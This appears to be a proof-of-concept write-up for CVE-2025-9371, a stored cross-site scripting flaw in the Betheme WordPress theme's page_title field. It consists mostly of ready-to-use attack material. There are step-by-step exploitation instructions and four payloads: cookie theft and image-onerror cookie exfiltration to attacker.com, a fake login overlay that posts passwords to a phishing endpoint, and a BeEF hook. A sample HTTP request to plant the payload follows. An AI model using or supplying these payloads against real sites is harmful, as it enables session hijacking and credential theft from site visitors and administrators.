CVE-2025-9371：WordPress Betheme主题存储型XSS漏洞

<!-- CVE-2025-9371 PoC - Betheme Stored XSS via page_title parameter Vulnerability: Stored Cross-Site Scripting in Betheme WordPress Theme Affected versions: <= 28.1.6 Required access: Contributor-level or above --> <!-- Step 1: Login as Contributor-level user Step 2: Create a new page/post Step 3: Set the page_title (or post title) with malicious payload Step 4: Submit for review (or get it published) Step 5: When any user visits the page, the XSS payload executes --> <!-- Malicious page_title payload examples: --> <!-- Payload 1: Cookie stealing --> <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Admin session hijacking via image --> <img src=x onerror="var i=new Image();i.src='https://attacker.com/log?d='+document.cookie;"> <!-- Payload 3: Fake login form overlay --> <script>document.write('<form action="https://attacker.com/phish" method=POST><input name=username placeholder=Username><input name=password type=password placeholder=Password><button>Login</button></form>');</script> <!-- Payload 4: BeEF hook injection --> <script src="https://attacker.com:3000/hook.js"></script> <!-- Note: The payload is injected into the page_title field which is then rendered unsanitized in the Betheme breadcrumbs navigation component. --> <!-- Example HTTP request to create a malicious page (simplified): --> <!-- POST /wp-admin/post-new.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_xxx=xxx post_title=<script>alert(document.cookie)</script>&post_content=test&post_status=publish&... -->